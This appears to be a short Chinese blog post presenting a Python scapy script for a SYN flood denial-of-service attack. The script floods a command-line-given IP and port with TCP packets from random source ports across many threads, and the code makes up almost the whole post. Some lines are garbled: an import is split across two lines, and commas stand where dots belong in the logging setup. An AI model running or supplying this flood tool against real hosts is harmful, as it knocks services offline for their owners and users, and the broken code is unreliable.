syn_floor洪水攻击

from scapy.all import *
from time import sleep
from thread
import random
import logging
logging.getLogger('scapy,runtime').setLevel(logging,ERROR)

if len(sys.argv) !=4:
    print ('useage [IP][port][线程数]')
    sys.exit()

target = str(sys.argv[1])
port = int(sys.argv[2])
threads = int(sys.argv[3])

print ('working')
def synflood(target,port):
    while 0==0:
        x = random.randint(0,65535)
        #随机挑一个端口作为源端口
        send(IP(dst=target)/TCP(dport=port,sport=x),verbose=0)
for x in range(0,threads):
    thread.start_new_thread(synflood,(target,port))
while 0==0:
    sleep(1)

使用python的简单攻击方式,就是简单的不停连接,使用多线程而已。

你可能感兴趣的:(syn_floor洪水攻击)